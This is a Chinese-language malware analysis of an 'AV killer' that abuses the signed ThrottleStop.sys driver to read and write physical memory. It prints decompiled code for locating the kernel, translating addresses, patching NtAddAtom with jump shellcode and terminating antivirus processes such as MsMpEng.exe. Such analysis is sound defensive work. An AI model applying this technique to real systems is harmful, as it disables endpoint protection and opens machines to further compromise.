被利用的合法驱动名为: ThrottleStop.sys, 由TechPowerUp开发, 主要用于ThrottleStop应用。该应用主要用于监控和修复CPU降频问题, 常见于游戏玩家。驱动加载后会在系统中创建一个设备: \\.\\ThrottleStop
,作为用户态与内核态之间的通信通道。
与驱动的通信主要通过IOCTL调用实现, 使用的是Win32 DeviceIoControl函数。该驱动暴露了两个存在漏洞的IOCTL功能: 一个允许读取内存, 另一个允许写入内存, 且均使用物理地址。任何拥有管理员权限的用户都能访问这些功能, 这就是核心漏洞所在。
为了禁用系统防御, 黑客将合法驱动ThrottleStop.sys重命名为:ThrottleBlood.sys, 并与另一个加载器All.exe进行配合使用。在实际使用中, ThrottleBlood.sys驱动带有合法证书,其签署时间为: 签署时间:2020-10-06 20:34:00 UTC
, 如图:
根据上面的漏洞原理, 驱动利用MmMapIoSpace
函数进行物理内存访问。该内核API会将指定物理地址映射到虚拟地址空间(MMIO区域), 使得虚拟内存的读写能直接影响物理内存。这类漏洞在内核驱动中早已为人所知, 既被攻击者滥用, 也被游戏外挂利用来获取底层内存访问权限。
第二个组件All.exe
就是AV killer本身。首先对其进行文件属性和字符串搜索, 发现其中包含大量杀毒软件的进程名,如图:
当 All.exe 执行时,它首先通过SCM(服务控制管理器)API方法(如 OpenSCManagerA()
和 StartServiceW()
)加载 ThrottleBlood.sys 驱动。如图:
AV killer主要是利用ThrottleStop 驱动来劫持内核函数,使用户态能够执行仅限内核态的例程。为了成功利用该驱动的读写漏洞,恶意程序首先获取当前已加载内核的基址和目标函数地址, 这些动作主要利用Win32 中未文档化的NtQuerySystemInformation
函数来实现。其关键核心代码如下:
for ( i = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ReturnLength); i == 0xC0000004; i = NtQuerySystemInformation(SystemModuleInformation, SystemBasicInformation, ReturnLength, &ReturnLength) )
{
VirtualFree(SystemBasicInformation, 0, 0x8000u);
SystemBasicInformation = (SYSTEM_MODULE_INFORMATION *)VirtualAlloc(0, ReturnLength, 0x3000u, 4u);
}
if ...
while ( 1 )
{
String1 = (char *)&module;
ModuleName = &Name[SystemBasicInformation->Modules[index].NameOffset];
name_len = strlen(ModuleName);
len = (char *)name_len;
if ...
memcpy(v12, ModuleName, (size_t)len);
p_module = String1;
LABEL_9:
v17 = len;
len[(QWORD)p_module] = 0;
if ( !_stricmp(String1, *TargetSystemModule) )
break;
if ( String1 != (char *)&module )
operatordelete(String1);
++index;
Name += 296;
if ( index >= SystemBasicInformation->ModulesCount )
goto next;
}
ImageBaseAddress = SystemBasicInformation->Modules[index].ImageBaseAddress;
VirtualFree(SystemBasicInformation, 0, 0x8000u);
if ( String1 != (char *)&module )
operatordelete(String1);
return (uint64_t)ImageBaseAddress;
传入SystemModuleInformation标志后,该函数可以返回当前系统上已加载的模块与驱动程序列表。Windows 内核通常称为 ntoskrnl.exe。由于KASLR(内核地址空间布局随机化),其基址总是不同的。
要使用MmMapIoSpace 执行读/写操作,系统必须先确定内核所使用的物理地址。可通过一种名为SuperFetch的技术来实现,这一技术已封装在 GitHub 上的开源项目superfetch中。该项目通过一个仅由头文件组成的 C++ 库,提供了将虚拟地址转换为物理地址的功能。相关代码如下:
spf::memory_map::current((spf::memory_map *)&ntoskrnl_exe_ptr);
if ...
{
kernel_base_virtual_addr = this->KernelBase;
KernelBasePhysicalAddress = end;
kernel_base_page_aligned = kernel_base_virtual_addr & 0xFFFFFFFFFFFFF000ULL;
if ( end )
{
translation_map_iterator = (translation_map **)((_QWORD *)&ntoskrnl.TranslationTable->vtable
+ kernel_base_page_aligned % unordered_map_size);
if ( translation_map_iterator )
{
translation_unordered_map = *translation_map_iterator;
if ( (*translation_map_iterator)->VirtualAddress == (void *)kernel_base_page_aligned )
goto LABEL_98;
else
{
while ( 1 )
{
vtable = (translation_map *)translation_unordered_map->vtable;
if ( !translation_unordered_map->vtable )
break;
translation_map_iterator = (translation_map **)translation_unordered_map;
if ( kernel_base_page_aligned % unordered_map_size != (unsigned __int64)vtable->VirtualAddress
% unordered_map_size )
break;
translation_unordered_map = (translation_map *)translation_unordered_map->vtable;
if ( vtable->VirtualAddress == (void *)kernel_base_page_aligned )
goto LABEL_98;
}
KernelBasePhysicalAddress = 0;
goto LABEL_72;
}
LABEL_98:
translatedAddress = *translation_map_iterator;
if ( *translation_map_iterator )
{
LABEL_71:
KernelBasePhysicalAddress = translatedAddress->PhysicalAddress
+ (kernel_base_virtual_addr & 0xFFF);
goto LABEL_72;
}
}
else
{
KernelBasePhysicalAddress = 0;
goto LABEL_72;
}
}
translatedAddress = (translation_map *)v99;
if ...
LABEL_72:
this->KernelBasePhysicalAddress = KernelBasePhysicalAddress;
}
superfetch C++ 库利用了NtQuerySystemInformation函数,具体使用SystemSuperfetchInformation查询。该查询会返回当前所有的内存范围及其页面。借助这些信息,superfetch 库可以将任意内核虚拟地址成功转换为其对应的物理地址。
既然已收集到物理基址,恶意软件就必须选择一个能够通过系统调用(从用户态)间接调用的内核函数。所选用的系统调用是 NtAddAtom,它很少被使用,并且可以通过ntdll.dll轻松调用。核心代码如下:
NtAddAtomFunction = NtAddAtom;
strcpy(NtAddAtom, "NtAddAtom");
v92 = 9;
ntoskrnl_module = LoadLibraryA("ntoskrnl.exe");
ntoskrnl_handle = ntoskrnl_module;
if ( ntoskrnl_module )
{
NtAddAtomAddr = GetProcAddress(ntoskrnl_module, NtAddAtomFunction);
FreeLibrary(ntoskrnl_handle);
NtAddAtomVirtualAddress = (uintptr_t)NtAddAtomAddr + NtAddAtomVirtualAddress - (uintptr_t)ntoskrnl_handle;
kernel_base_page_aligned = NtAddAtomVirtualAddress & 0xFFFFFFFFFFFFF000ULL;
}
NtAddAtomKernelFunctionPhysicalAddress =
endif ...
v47 = v99;
if ...
LABEL_80:
v48 = NtAddAtomFunction;
this->NtAddAtomKernelFunctionAddress = NtAddAtomKernelFunctionPhysicalAddress;
通过使用 LoadLibrary 函数加载 ntoskrnl.exe,恶意软件可以轻松获取 NtAddAtom 函数的偏移量,并将该偏移量与当前基址相加,从而确定其内核地址。物理地址的获取方法与内核基址相同。拿到物理地址并加载驱动后,恶意软件就能利用存在漏洞的 IOCTL 码对 NtAddAtom 函数的物理内存进行读写。核心代码如下:
LABEL_18:
NtAddAtomKernelFunctionAddress = this->NtAddAtomKernelFunctionAddress;
device_0 = this->hDevice;
*&ShellCode[2] = JmpAddress;
Buffer = NtAddAtomKernelFunctionAddress;
*BytesReturned = *ShellCode;
v64 = *ShellCode;
DeviceIoControl(device_0, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
device_1 = this->hDevice;
*BytesReturned = *&ShellCode[8];
Buffer = this->NtAddAtomKernelFunctionAddress + 8LL;
v64 = *&ShellCode[8];
DeviceIoControl(device_1, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
ret = NtAddAtom(a4, a5);
device_2 = this->hDevice;
kernel_ret = ret;
Buffer = this->NtAddAtomKernelFunctionAddress;
*BytesReturned = v61;
v64 = v61;
DeviceIoControl(device_2, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
device_3 = this->hDevice;
v45 = this->NtAddAtomKernelFunctionAddress + 8LL;
*BytesReturned = v62;
v64 = v62;
Buffer = v45;
DeviceIoControl(device_3, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
return kernel_ret;
为调用任意内核函数,"AV killer" 会写入一小段 shellcode,使其跳转到内核中的目标地址。该目标地址可以是任意所需的内核函数。函数执行完成后,恶意软件会恢复原始内核代码,以防止系统崩溃。如图:
在获取所有必要信息后,"AV killer" 会通过调用 Process32FirstW() 和 Process32NextW() API 启动循环以查找目标进程。正如前文所述,目标安全软件的列表(例如 Windows Defender 的 MsMpEng.exe )被硬编码在恶意软件中。
该"AV killer"会将所有正在运行的进程与硬编码列表逐一比对。若有匹配,便利用存在漏洞的驱动调用内核函数 PsLookupProcessById 和 PsTerminateProcess 来终止它们。
与当今大多数杀毒软件一样,Windows Defender 会尝试重新启动其服务以保护系统。然而,程序的主循环会继续识别并终止相关的 AV 进程。
(全文完)